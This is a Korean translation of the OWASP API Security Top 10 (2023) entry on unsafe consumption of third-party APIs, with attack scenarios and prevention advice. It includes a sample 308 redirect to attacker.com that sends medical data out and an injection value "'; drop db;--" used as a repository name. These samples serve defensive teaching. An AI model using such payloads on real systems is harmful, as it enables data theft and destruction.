API10:2023 Unsafe Consumption of APIs
위협 요소/공격 경로 | 보안 취약점 | 영향 |
API 명세: 악용 용이함 | 확산성: 탐지 가능성->Average | 기술적 심각도: 특정 비지니스 |
이 문제를 악용하려면 공격자가 대상 API와 통합된 다른 API/서비스를 식별하고 잠재적으로 손상시켜야 합니다. 일반적으로 이 정보는 공개적으로 제공되지 않거나 통합 API/서비스를 쉽게 이용할 수 없습니다. | 개발자는 외부 또는 타사 API와 상호 작용하는 end-points을 신뢰하고 검증하지 않는 경향이 있으며, 전송 보안, 인증/인가, 입력 유효성 검사 및 검사와 같은 취약한 보안 요구 사항에 의존합니다. 공격자는 대상 API가 (데이터 소스)와 통합되는 서비스를 식별하고 결국 이를 손상시켜야 합니다. | 그 영향은 대상 API가 pulled 데이터로 수행하는 작업에 따라 달라집니다. 공격이 성공하면 권한 없는 행위자에 대한 민감한 정보 노출, 여러 종류의 injections 또는 DoS가 발생할 수 있습니다. |
취약한 API
개발자들은 사용자의 입력데이터보다 타사 API에서 받은 데이터를 더 신뢰하는 경향이 있습니다. 특히 유명 기업이 제공하는 API의 경우 더욱 그렇습니다. 그 때문에 개발자들은 입력 유효성 검증 및 삭제와 관련하여 더 약한 보안 표준을 채택하는 경향이 있습니다.
다음과 같은 경우 API가 취약할 수 있습니다:
•
암호화되지 않은 채널을 통해 다른 API와 상호 작용합니다.
•
다른 API에서 수집한 데이터를 처리하거나 다운스트림 구성 요소에 전달하기 전에 데이터를 적절하게 검증하고 삭제하지 않습니다.
•
맹목적으로 리디렉션을 따릅니다.
•
타사 서비스 응답을 처리하는 데 사용할 수 있는 리소스 수를 제한하지 않습니다.
•
타사 서비스와의 상호 작용에 대한 시간 제한을 적용하지 않습니다.
공격 시나리오
Scenario #1
API는 타사 서비스를 사용하여 사용자가 제공한 비즈니스 주소를 강화합니다. 최종 사용자가 API에 주소를 제공하면 third-party 서비스로 전송되고, 반환된 데이터는 로컬 SQL 지원 데이터베이스에 저장됩니다.
악의적인 행위자는 타사 서비스를 사용하여 자신이 만든 비즈니스와 관련된 SQLi 페이로드를 저장한 다음 third-party 서비스에서 " malicious business (악의적인 비즈니스)"를 끌어내도록 하는 특정 입력을 제공하는 취약한 API를 추적합니다. SQLi 페이로드는 결국 데이터베이스에 의해 실행되어 공격자가 제어하는 서버로 데이터가 유출됩니다.
Scenario #2
API는 third-party서비스 제공업체와 통합되어 민감한 사용자 의료 정보를 안전하게 저장합니다. 데이터는 아래와 같은 HTTP 요청을 사용하여 보안 연결을 통해 전송됩니다.
POST /user/store_phr_record
{
"genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
JavaScript
복사
악의적인 행위자들은 third-party API를 인증할 방법을 찾았고 이전과 같은 요청에 308 영구적인 리디렉션으로 응답하기 시작합니다.
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
JavaScript
복사
API는 third-party가 리디렉션하는 것을 맹목적으로 따르기 때문에 사용자의 민감한 데이터를 포함하여 동일한 요청을 반복하지만 이번에는 공격자의 서버로 이동합니다.
Scenario #3
공격자는 '; drop db;--'라는 이름의 git 저장소를 준비할 수 있습니다.
이제 공격을 받은 애플리케이션과 공격자의 저장공간을 통합하면 저장공간의 이름이 안전한 입력이라고 믿고 SQL 쿼리를 구축하는 애플리케이션에서 SQL 인젝션 페이로드가 사용됩니다.
예방 방법
•
서비스 공급자를 평가할 때 API 보안 상태를 평가합니다.
•
모든 API 상호 작용이 보안 통신 채널(TLS)을 통해 발생하는지 확인합니다.
•
통합 API에서 받은 데이터를 사용하기 전에 항상 유효성을 검사하고 적절하게 조치해야 합니다.
•
통합 API가 귀하의 위치를 리디렉션할 수 있는 well-known locations 허용 목록을 유지하십시오. 리디렉션을 맹목적으로 따르지 마십시오.